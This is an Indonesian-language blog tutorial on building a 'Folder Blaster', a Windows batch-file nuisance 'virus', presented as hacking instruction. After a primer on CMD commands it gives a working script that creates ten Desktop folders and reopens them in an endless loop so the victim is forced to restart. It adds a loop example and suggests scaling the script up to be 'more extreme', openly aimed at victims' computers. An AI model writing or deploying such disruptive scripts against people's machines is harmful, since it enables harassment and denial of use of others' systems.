Mengenal dan Cara Membuat Folder Blaster Didunia H4cking

komputerdia.com - Perintah yang kita gunakan untuk membuat file batch sebenarnya adalah perintah dengan jenis yang sama dan diimplementasikan di MS-DOS (An ancient microsoft OS). Perintah DOS (Disk Operating System) ini juga bisa digunakan di jendela command prompt. Apapun file batch yang kalian miliki, kalian bisa melakukannya melalui command line interface (CLI).

Untuk mendapatkan beberapa bantuan dan daftar perintah pada CMD, kalian dapat memulainya dengan cara tekan tombol Windows + R kemudian  Ketik perintah "cmd", dan kalian akan dihadapkan dengan CLI. 

Dihalaman ini kalian bisa mengetik "help" untuk mendapatkan daftar perintah yang umum digunakan dan fungsinya. Saya sarankan kalian untuk mencoba setiap perintah yang bisa kalian temukan didaftar tersebut. Dunia H4cking semakin lama semakin user friendly, CLI digantikan oleh GUI (Graphical User Interfaces)

Hal ini berarti di kebanyakan tempat, kalian tidak perlu benar-benar mengetikkan perintah, kalian bisa memilih opsi dan menekan sebuah tombol. Tapi seperti sekarang, ini adalah pekerjaan yang sedang berjalan. Dengan teknik h4cking yang lebih canggih, khususnya yang menggunakan tools seperti pada BackTrack, kalian akan mendapati sebagian besar tools h4ck masih dilakukan melalui CLI.

Baca Juga :

Mengenal dan Cara Membuat Folder Blaster Didunia H4cking

Pengertian dan penjelasan Folder Blaster

Secara garis besar, folder blaster merupakan salah satu teknik serangan didunia komputer yang menginfeksikan sebuah virus pada sistem komputer dan akan mengakibatkan terjadinya peledakan atau penggandaan sebuah folder dengan jumlah yang sangat banyak hingga mencapai ratusan bahkan ribuan folder virus .


Sudah saatnya kalian belajar bagaimana cara h4ck ke komputer remote dan mendapatkan jendela CMD komputer korban. Untuk itu saya sarankan, agar kalian membiasakan diri dengan CLI sesegera mungkin. Sebelum sampai ke kode tersebut, mari kita lihat beberapa perintah dasar penting didalam pembuatan skrip folder blaster.

  • Md atau mkdir - Membuat Direktori. Perintah ini digunakan untuk membuat direktori (folder). Contoh :
    Md abcd
    Kode diatas akan membuat folder di direktori dengan keterangan "abcd".
  • Cd - berguna untuk merubah suatu direktori satu ke direktori lainnya. Contoh :
    Cd C: \
    Kode diatas akan mengambil program (file batch kalian) ke folder Root
    Cd C: \ Users
    Kode ini akan membawa kalian ke folder bernama Users pada drive  C d. 
  • Kalian bisa mengubah "mkdir" dengan menggunakan "cd". 

Di sini s aya telah mempunyai skrip untuk virus Folder Blaster. Sekali lagi saya tegaskan, bahwa metode yang satu ini cukup mudah dimengerti. Apa yang saya lakukan di bawah ini adalah membuat sekumpulan folder, dan sekaligus menjalankan pada suatu sistem komputer serta membiarkannya terbuka, sehingga dapat menyebabkan komputer korban akan mengalami sebuah gangguan sistem.
@echo off
cd ./Desktop
md 1
md 2
md 3
md 4
md 5
md 6
md 7
md 8
md 9
md 0
:checkpoint
start 1
start 2
start 3
start 4
start 5
start 6
start 7
start 8
start 9
start 0
goto checkpoint
Dalam kode diatas, kita memulainya dengan mematikan echo. Kemudian kita ubah direktori tersebut ke Desktop, didalam kode diatas juga dapat kita lihat, bahwa akan terdapat sepuluh folder dengan nama 0-9.

Disini saya menyiapkan label dan mulai membuka semua 10 folder, pernyataan terakhir akan menyebabkan loop tak terbatas. Tentunya jika folder yang sudah dibuka maka tidak akan dibuka lagi. Tetapi penggunaan loop tak terbatas ini adalah jika pengguna mencoba menutup folder, disaat loop masih berlangsung dan maka loop ini akan mengirim pesan untuk membuka folder itu lagi. Jadi korban akan terjebak karena setiap saat dia menutup sebuah folder maka mereka akan melihat folder tersebut akan terbuka lagi dengan otomasti , yang akhirnya membuat mereka menyerah dan restart sistem. 

Kode di atas dapat dibuat jauh lebih pendek dengan penggunaan LOOP, seperti yang dibahas di bawah ini. Kita mulai dengan membuat variabel dan menetapkan nilainya menjadi 0. Kita menggunakan variabel ini sebagai cek untuk membiarkan komputer mengetahui kapan harus keluar dari lingkaran. 
@echo off
set /a i=0
:loop
if %i%==10 goto end
echo This is iteration %i%.
set /a i=%i%+1
goto loop
:end
Kode diatas dapat kita definisikan sebagai berikut :
  • "Set" digunakan untuk mendefinisikan dan menginisialisasi sebuah variabel. Disini kita membuat sebuah variabel yang disebut "i" dan atur nilainya menjadi nol. Setelah membuat label, kita periksa apakah nilai variabel "i" (diberikan oleh% i%) sama dengan 10, dan jika itu adalah "goto" label akhir (program berakhir saat ini terjadi). 
  • "echo" berfungsi untuk memberi tahu pengguna mana iterasi yang sedang berjalan. Pada langkah selanjutnya kita menambahkan nilai "i" dengan satu dan kemudian kembali ke pernyataan "if".


Dengan demikian, maka loop akan berjalan sepuluh kali (0-9), dan kemudian berhenti. Sebelumnya, saya katakan bahwa kode virus Folder Blaster di atas dapat dibuat lebih pendek dengan menggunakan loop. Untuk membuatnya lebih ekstrim kalian dapat merubah 10 goto end, menjadi sebanyak mungkin seperti apa yang kalian inginkan .


.
.

Berlangganan Artikel terbaru (free):

Post a Comment